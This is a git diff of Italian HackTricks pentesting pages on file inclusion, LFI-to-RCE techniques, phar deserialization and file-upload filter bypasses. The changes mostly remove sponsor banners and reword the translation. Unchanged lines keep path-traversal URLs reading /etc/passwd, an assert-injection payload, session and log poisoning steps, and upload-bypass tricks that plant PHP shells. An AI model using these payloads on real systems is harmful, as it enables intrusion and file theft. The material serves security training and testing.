diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 4156e4f8a..738366dff 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -2,25 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul Hacking**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Notizie di Hacking in Tempo Reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi Annunci**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 ## Inclusione di File
 
-**Inclusione di File Remoti (RFI):** Il file viene caricato da un server remoto (Meglio: Puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\
-**Inclusione di File Locali (LFI):** Il server carica un file locale.
+**Inclusione di File Remota (RFI):** Il file viene caricato da un server remoto (Migliore: Puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\
+**Inclusione di File Locale (LFI):** Il server carica un file locale.
 
 La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
 
@@ -28,7 +13,7 @@ Funzioni **PHP vulnerabili**: require, require_once, include, include_once
 
 Uno strumento interessante per sfruttare questa vulnerabilità: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Blind - Interessante - LFI2RCE files
+## Blind - Interessante - file LFI2RCE
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
@@ -72,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
+Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
@@ -134,10 +119,10 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In questi scenari, il numero di traversamenti necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
+In questi scenari, il numero di traversate necessarie potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
 
 - **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversamento (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
-- **Determinare il Numero Richiesto di Traversamenti**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
+- **Determinare il Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
 - **Iniziare con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
 
 Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
@@ -237,13 +222,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate eseguire in console: `iconv -l`
+- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate eseguire nel terminale: `iconv -l`
 
 > [!WARNING]
-> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include processo testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
 
 - [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
+- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
 - `zlib.inflate`: Decomprime i dati
 - [Filtri di Crittografia](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Obsoleto
@@ -367,7 +352,7 @@ Per compilare il file `.phar`, il seguente comando deve essere eseguito:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare le vulnerabilità di Local File Inclusion (LFI).
+Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare vulnerabilità di Local File Inclusion (LFI).
 
 Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
 
@@ -385,11 +370,11 @@ phar-deserialization.md
 Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
 È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
 
-### Altri protocolli
+### More protocols
 
-Controlla altri possibili [**protocolli da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
+Controlla più possibili [**protocollo da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivere in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
@@ -406,7 +391,7 @@ Ad esempio, il codice PHP potrebbe essere progettato per prevenire il traversame
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
+Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe usare:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
@@ -416,31 +401,16 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
 ```
 È importante **URL-encoded questi payload**.
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non viene mostrato.
+> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non è mostrato.
 
-In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
+In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
 
-In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file genererà un **errore**.
+In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**.
 
-Poi, per rivelare il primo carattere, il filtro **`dechunk`** viene utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**.
+Poi, per rivelare il primo carattere, il filtro **`dechunk`** è usato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** sono usati per **posizionare altri caratteri all'inizio e rivelarli**.
 
 **Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo target in sola lettura con questo)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
@@ -454,12 +424,12 @@ Spiegato precedentemente, [**segui questo link**](./#remote-file-inclusion).
 
 ### Via file di log Apache/Nginx
 
-Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell PHP come **``** e includere quel file
+Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **``** e includere quel file
 
 > [!WARNING]
 > Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
 >
-> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
+> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
 
 Questo potrebbe essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
 Altri possibili percorsi di log:
@@ -522,7 +492,7 @@ Imposta il cookie su ``
 ```
 login=1&user=&pass=password&lang=en_us.php
 ```
-Usa l'LFI per includere il file di sessione PHP
+Usa il LFI per includere il file di sessione PHP
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
@@ -610,7 +580,7 @@ lfi2rce-via-phpinfo.md
 
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-Se hai trovato un **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
+Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -618,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via eternal waiting + bruteforce
 
-Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione PHP del server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
+Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
 
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
@@ -629,7 +599,7 @@ lfi2rce-via-eternal-waiting.md
 Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
 
 **Non so quanto sia utile, ma potrebbe esserlo.**\
-&#xNAN;_E anche se causate un errore fatale PHP, i file temporanei PHP caricati vengono eliminati._
+&#xNAN;_E anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
 
 

 
@@ -640,19 +610,4 @@ Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`
 
 {% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Hacking Insights**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Real-Time Hack News**\
-Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
-
-**Latest Announcements**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index 8e5696f68..eee1e1fbf 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -1,16 +1,10 @@
-# LFI2RCE tramite filtri PHP
+# LFI2RCE via PHP Filters
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

+## Intro
 
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-## Introduzione
-
-Questo [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi utilizzare **filtri php per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
+Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **i filtri php per generare contenuti arbitrari** come output. Questo significa fondamentalmente che puoi **generare codice php arbitrario** per l'inclusione **senza doverlo scrivere** in un file.
 
 Fondamentalmente, l'obiettivo dello script è **generare una stringa Base64** all'inizio del file che sarà **finalmente decodificata** fornendo il payload desiderato che sarà **interpretato da `include`**.
 
@@ -32,14 +26,14 @@ Il ciclo per generare contenuti arbitrari è:
 
 ## Come aggiungere anche suffissi ai dati risultanti
 
-[**Questo writeup spiega**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come puoi ancora abusare dei filtri PHP per aggiungere suffissi alla stringa risultante. Questo è ottimo nel caso tu abbia bisogno che l'output abbia un formato specifico (come json o magari aggiungere alcuni byte magici PNG)
+[**Questo writeup spiega**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come puoi ancora abusare dei filtri PHP per aggiungere suffissi alla stringa risultante. Questo è ottimo nel caso tu abbia bisogno che l'output abbia un formato specifico (come json o magari aggiungendo alcuni byte magici PNG)
 
 ## Strumenti automatici
 
 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
 - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(può aggiungere suffissi)**
 
-## Script completo
+## Full script
 ```python
 import requests
 
@@ -260,10 +254,5 @@ find_vals($init);
 
 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
index 7131a59e2..1c2444f3d 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@@ -1,20 +1,12 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 Per sfruttare questa vulnerabilità hai bisogno di: **Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".**
 
 [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
 
 **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
 
-Devi correggere l'exploit (cambia **=>** in **=>**). Per farlo puoi fare:
+Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare:
 ```
 sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
 ```
@@ -34,7 +26,7 @@ In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Po
 
 **phpinfo()**
 
-**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
+**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte del phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
 
 **Script Python per provare a forzare il nome (se la lunghezza = 6)**
 ```python
@@ -58,12 +50,4 @@ sys.exit(0)
 
 print('[x] Something went wrong, please try again')
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md
index 7f1a9e73d..1334a146c 100644
--- a/src/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/src/pentesting-web/file-inclusion/phar-deserialization.md
@@ -2,11 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 I file **Phar** (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
 
@@ -28,7 +24,7 @@ system($this->data);
 
 filesize("phar://test.phar"); #The attacker can control this path
 ```
-Puoi creare un file **phar** che, una volta caricato, **abuserà di questa classe per eseguire comandi arbitrari** con qualcosa come:
+Puoi creare un file **phar** che, una volta caricato, **sfrutterà questa classe per eseguire comandi arbitrari** con qualcosa come:
 ```php:create_phar.php
 

 
-**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index c2e8841e8..db745021a 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -2,18 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 ## File Upload General Methodology
 
 Altre estensioni utili:
 
 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+- **Funzionando in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -49,9 +44,9 @@ Altre estensioni utili:
 5. Aggiungi **un altro livello di estensioni** al controllo precedente:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
-- _ex: file.php.png_
-7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
+6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
+- _es: file.php.png_
+7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
 8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
 
 ```
@@ -67,13 +62,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 
 ### Bypass Content-Type, Magic Number, Compression & Resizing
 
-- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
+- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
 `exiftool -Comment="' >> img.png`
-- Se **compressioni vengono aggiunte alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 - La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti usare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
@@ -87,7 +82,7 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possibile divulgazione di informazioni**:
 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
-3. Caricando un file con **“.”, “..”, o “…” come suo nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
+3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
 4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
 5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
 6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
@@ -98,9 +93,9 @@ AAA<--SNIP 232 A-->AAA.php.png
